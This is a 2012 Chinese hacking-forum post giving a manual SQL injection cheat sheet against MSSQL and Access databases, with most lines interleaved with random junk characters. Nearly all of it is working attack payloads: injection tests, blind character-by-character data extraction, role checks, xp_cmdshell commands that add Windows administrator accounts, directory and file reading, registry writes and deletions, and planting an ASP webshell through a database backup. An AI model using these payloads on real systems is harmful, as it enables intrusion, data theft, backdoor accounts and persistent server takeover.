找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
7 h' @9 c! y, Z' C; R0 d" Z% {1.判断是否有注入;and 1=1 ;and 1=2 9 @2 C0 a2 k$ H; A

+ W5 }% \6 ^6 i. p9 V2.初步判断是否是mssql ;and user>0
4 {, v, k5 _7 N" y% ?" x6 t# m4 B  \
3.注入参数是字符'and [查询条件] and ''=' . Q& M$ x7 m. C0 K! [

( O, x: x: B" f% L! s3 K1 H- J4.搜索时没过滤参数的'and [查询条件] and '%25'=' # [2 I2 i( y4 B- H0 r. D
: R7 K# ^. ]. c( A
5.判断数据库系统 # K" X/ {5 M0 {
;and (select count(*) from sysobjects)>0 mssql
) Y) D  }9 e; K; U;and (select count(*) from msysobjects)>0 access & v) q8 B7 g; S5 a8 {9 }
5 H; [: N% J$ \+ u) v! e
6.猜数据库 ;and (select Count(*) from [数据库名])>0 " A, b/ z% f8 {' ~8 m; T
$ S* \3 F( R: t& b+ _' y" w3 {
7.猜字段 ;and (select Count(字段名) from 数据库名)>0   \8 o1 z/ a, h4 C4 G

  P* j. ~8 R( o8 C4 t0 K4 U8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
) ~* ~* ^6 |! ?
8 c2 O8 a% k4 C) `. w9.(1)猜字段的ascii值(access)
% ?. [$ ]0 D4 _& b1 f) k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
+ Z, u+ o/ `. B- D2 \7 R) R$ D! N+ f5 N/ J& K
(2)猜字段的ascii值(mssql) , a3 _" f1 S) X; h, [% I
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 $ v/ o# e& n4 v& i/ y7 }3 @
8 ^5 x- k0 t/ ]7 J- W6 f' B& i
10.测试权限结构(mssql) , B# s$ \0 q$ }1 |# e( G- f
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; S( J: g0 \6 H2 c+ ^( Q
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
0 ]2 H1 O& Z; }5 M4 u# }0 \; [;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 I2 A; ]9 t! q1 m2 v" R0 ?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--   d  g; X9 R5 _- V, \+ G* _: |
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
5 }) w+ A1 m- S8 N, X;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 c: {- O/ V0 M- _* h* f;and 1=(select IS_MEMBER('db_owner'));--
1 X  o6 S1 g' ]+ Y# ]; M" N1 Z' V$ Q! c$ d! i" |
11.添加mssql和系统的帐户 * {2 _2 h# X, f% k( {- d( `
;exec master.dbo.sp_addlogin username;--
2 J5 ?: B* K4 _
4 k9 t4 W& P, l+ Y3 K;exec master.dbo.sp_password null,username,password;-- 1 o$ M4 v. V8 O& m- [* B0 f

4 S8 e6 c& \3 s, l4 R;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; Z! h) h4 g' W; h# F4 s
) z# V* h$ b& k$ o/ S/ D;exec master.dbo.xp_cmdshell 'net user username password
( E! ~# E2 f0 P2 K, f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- / [- ~1 v8 ]4 x% D4 X( {! ?
* [! j/ n- x) r9 o) V
;exec master.dbo.xp_cmdshell 'net user username password /add';--
# M. c  o, S8 @0 V8 c( u4 Z2 g0 B9 F( }+ v2 K& t9 D; a! h2 j+ W3 a/ [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & i4 f" u* v0 Y1 c* w' \

0 H, Y+ i" ~3 @/ E+ R9 @0 W3 {( c12.(1)遍历目录
$ n* R7 ^7 z7 c! q. @' \: T/ A
+ b+ t6 l' X# r/ }. V9 Z! U;create table dirs(paths varchar(100), id int)
% h$ A& h/ T' ?. y;insert dirs exec master.dbo.xp_dirtree 'c:\' , M4 q. b: I* b. j% h
;and (select top 1 paths from dirs)>0 $ g, k0 _2 ]% i: H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
8 T8 Z0 N/ V4 i+ B$ E2 Z  Z1 Z4 b7 x" {4 b
(2)遍历目录
: E8 t$ w1 E0 E: i7 H! k0 D1 p+ d; W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
$ a; ~* u2 `8 X& M7 m  J;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& e" k0 g* u* `* q5 T, ?;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 ~5 g% V, y4 j$ E. F
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 - F/ Y8 ^" ~$ u
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 $ |0 I9 b( z- r9 o' r
. T$ D4 |  J* L+ Z
13.mssql中的存储过程 1 A, u' j& {8 k

0 \( j' W3 E$ Y* x! a& {xp_regenumvalues 注册表根键, 子键 5 ~! z2 j3 V! h9 V. a% u. B
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ; J& p& G" \2 k$ a) G

/ H) m) ^# x. c' Ixp_regread 根键,子键,键值名 & \8 m6 k' O: F
;exec xp_regread
4 U, U6 a0 a- v& l% C'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # q& x& x6 G$ ]& X) F) J

+ l- ]/ M5 w) b  txp_regwrite 根键,子键, 值名, 值类型, 值 * `% l8 A: N) K0 g7 @$ x9 S$ C1 |
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 h' i$ _* p1 ?;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
8 U. I# S* l  }/ M9 l  O1 q+ v
1 Q( q! U0 W' ]  h" g( cxp_regdeletevalue 根键,子键,值名 ' ^# `, x! [( R0 K4 g
& @6 p3 y* f0 G% R2 R
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 2 L: O, e# [' e% k

# b  H- J& s& O5 M" u- Q$ i  n- l! hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
5 A8 b# z$ r: U8 j8 O* G: Y  E4 G" b8 k
14.mssql的backup创建webshell
0 C0 e( e5 w5 j% f* C3 E9 ~use model ) O3 Z& J- d! G0 r: j
create table cmd(str image); 0 m1 |% g7 l0 W2 s: W- n
insert into cmd(str) values ('');
* o0 L" i  g. u( V  x# a  P; I1 kbackup database model to disk='c:\l.asp'; ' ]; `5 Y: Q1 q1 g* {

$ e9 K7 w" G, i; G/ \15.mssql内置函数 / k) N) e3 p: P" o, H! y4 \
;and (select @@version)>0 获得Windows的版本号
' ?' F; }6 a9 j1 ]. U;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2 C* t& M! @8 c. D8 I1 w
;and (select user_name())>0 爆当前系统的连接用户 " p7 |5 ]0 P$ t) X/ G1 i! O
;and (select db_name())>0 得到当前连接的数据库
* C3 D( z9 W( j# _8 V# O3 v( S* f5 R. [
16.简洁的webshell
) q& x7 u1 K, C2 V: g- `
5 ]* H3 c& r/ X: T& Nuse model
' m  z) ?% B5 E8 I' v+ i7 N  r. t* X
- B" V2 c, a5 X: d) S! Ucreate table cmd(str image); * t# o5 B! _) Z7 J
+ y# ]* n2 n0 x
insert into cmd(str) values (''); $ ]! U% y  D2 B+ ^

# |6 J. m" q8 G) ]! D9 p. w/ D' a4 G1 hbackup database model to disk='g:\wwwtest\l.asp'; 0 `3 J5 x9 U/ i. c

* R- v% j- w( a2 D& n0 C, J7 Q" V% f- h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表